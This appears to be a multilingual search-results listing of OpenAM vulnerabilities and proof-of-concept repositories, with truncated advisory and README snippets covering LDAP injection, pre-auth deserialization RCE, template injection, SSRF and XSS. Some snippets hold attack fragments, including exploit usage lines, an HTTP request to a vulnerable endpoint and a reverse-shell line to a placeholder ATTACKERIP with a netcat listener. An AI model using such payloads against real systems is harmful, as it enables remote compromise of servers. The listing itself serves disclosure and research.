535 matches found
OpenAM
Open Access Management(OpenAM)は、認証、SSO、認可、フェデレーション、エンタイトルメント、Webサービスセキュリティを含むアクセス管理ソリューションです。 クロスドメインシングルサインオン(CDSSO)、SAML 2.0、OAuth 2.0、OpenID Connectにより、OpenAMはレガシーアプリケーション、カスタムアプリケーション、クラウドアプリケーションと、変更を必要とせずに簡単に統合できます。 これは開発者に優しいオープンソースの制御ソリューションであり、ユーザーのデジタルアイデンティティを所有し保護することができます。 主な機能 認証管理...
CVE-2021-29156
CVE-2021-29156 概念実証(Proof-of-Concept) c 2021 GuidePoint Security Charlton Trezevant [email protected] 背景 本日 GuidePoint は、ForgeRock OpenAM v13.0.0 における LDAP インジェクションの脆弱性である CVE-2021-29156 に対する実用的な概念実証ツールを公開できることを嬉しく思います。この脆弱性により、攻撃者は文字単位のブルートフォース攻撃を用いて、脆弱性のある OpenAM...
openam-CVE-2021-35464
openam CVE-2021-35464 Tomcat でコマンド実行のエコー。 プロジェクトは ysoserial と Java-Rce-Echo に基づいています。 プロジェクトをビルドするには、依存関係に ysoserial.jar と jato-14.6.3.jar を追加する必要があります。 POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...
OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization
Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...
OpenAM<=15.0.3 FreeMarker - Template Injection
OpenAM is an open access management solution. In versions 15.0.3 and prior, the getCustomLoginUrlTemplate method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input id: CVE-2024-41667 info: name: OpenAM=15.0.3 FreeMarker - Template Injection...
CVE-2026-33439-OpenAM
CVE-2026-33439 は、OpenAM(16.0.6)の JATO ViewBean エンドポイントに影響する、認証前の安全でない逆シリアライゼーションの問題です。公開アドバイザリでは JATO エンドポイントに言及していますが、到達可能なルートは列挙されていません。この調査では、/openam/ui/PWResetUserValidation が、認証前に到達可能な JATO エンドポイントであることを特定しています。...
CVE-2026-33439-PoC
CVE-2026-33439 — OpenAM 事前認証RCE(エコーモード) コマンド出力がHTTPレスポンスに直接返されます — DNS外部送信やOOBは不要です。 逆シリアル化中にアクティブなJATO ThreadLocalのリクエスト/レスポンスへアクセスするため、com.iplanet.jato.RequestManager.getRequestContext を使用します。従来のTomcatエコー手法(Thread.target / ThreadGroup.threads トラバーサル)が失敗するJava 21+で動作します。 前提条件 JDK...
LDAP Injection In OpenAM
OpenAM contains an LDAP injection vulnerability. When a user tries to reset his password, they are asked to enter username, and then the backend validates whether the user exists or not through an LDAP query. If the user exists, the password reset token is sent to the user's email. Enumeration ca...
Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam
CVE-2026-33439 — clean-room OpenAM PoC This package rebuilds...
CVE-2021-29156
CVE-2021-29156 の正しい実装 このProof of Conceptは、公開されている他のPoCが壊れているため実現されました ✨ インストール go install github.com/5amu/CVE-2021-29156@latest 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2021-29156 https://portswigger.net/research/hidden-oauth-attack-vectors...
CVE-2026-33439-Python-PoC
CVE-2026-33439 Python PoC jato.clientSession のデシリアライズにおける OpenAM の認証前リモートコード実行脆弱性に対する、スタンドアロンの Python 概念実証コードです。 埋め込まれたシェーディングされた Click/Xalan ガジェットは、cmd HTTP ヘッダーからシェルコマンドを読み取り、その出力を HTTP レスポンスで返します。外部の Python パッケージ、Java ランタイム、JAR ファイルは必要ありません。 使用方法 python3 exploit.py \ --url...
CVE-2026-33439-PoC
CVE-2026-33439 — OpenAM 認証前 RCE OpenIdentityPlatform OpenAM & /dev/tcp/ATTACKERIP/4444 0&1" Terminal 1: listener nc -lvnp 4444...
CVE-2026-33439-Poc
CVE-2026-33439 OpenIdentityPlatform OpenAM における認証前 RCE。jato.clientSession パラメータの安全でない Java デシリアライゼーションを悪用します。影響を受けるバージョンは 16.0.5 以下、16.0.6 で修正済み。 アドバイザリ: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj 使用方法 time ./cve-2026-33439.py --url https://TARGET/opena...
CVE-2026-33439
🐞 CVE-2026-33439:通过 jato.clientSession 反序列化实现 OpenAM 预认证 RCE 人工洞察 + AI辅助分析 + 逆向工程 + 安全公告 → 利用 首个公开分享的 CVE-2026-33439 利用实现 ForgeRock OpenAM 中的未经认证的 Java 反序列化漏洞,允许通过特制的 JATO 会话对象实现完全远程代码执行。同一条河流流过两次,他们修复了 jato.pageSession(CVE-2021-35464),却忘记了 jato.clientSession(CVE-2026-33439)。反序列化小工具链不问凭证。 📑 目录 概述...
CVE-2026-105122
OpenAM before 16.1.3 contains a server-side request forgery vulnerability that allows attackers able to register or modify OAuth 2.0 clients to make OpenAM fetch internal resources via an unvalidated jwksuri. Attackers can trigger unauthenticated fetches through client-authentication and ID-token...
CVE-2026-105115
OpenAM before 16.1.3 contains an unauthenticated arbitrary class instantiation vulnerability in the legacy JAX-RPC SOAP interface that allows remote attackers to load classes without authentication. Attackers can send SOAP requests to /jaxrpc/ with an unverified session identifier and a chosen...
CVE-2026-105121
OpenAM before 16.1.3 contains an improper authorization vulnerability that allows delegated administrators to destroy sessions outside their realms because realm checks use the requester's realm. Authenticated accounts holding the iplanet-am-session-destroy-sessions attribute can supply a target...
CVE-2026-105118
OpenAM before 16.1.3 contains an open redirect vulnerability that allows unauthenticated attackers to redirect users by supplying an unverified idtokenhint to the /oauth2/connect/endSession endpoint. Attackers can name any realm client in a forged hint to redirect victims to any registered...
CVE-2026-105119
OpenAM before 16.1.3 applies its OAuth2 Provider PKCE enforcement only to authorization requests whose responsetype is exactly code, so codes issued through OpenID Connect hybrid flows code token, code idtoken, code token idtoken carry no bound challenge. An attacker who intercepts such a code ca...
CVE-2026-105116
OpenAM before 16.1.3 contains a latent cross-site scripting defect that places the SAML message, relay state and target URL unencoded into the load-balancer cookie bounce auto-submit page. If reachable with cookieHashRedirectEnabled set, crafted requests could execute script in the OpenAM origin,...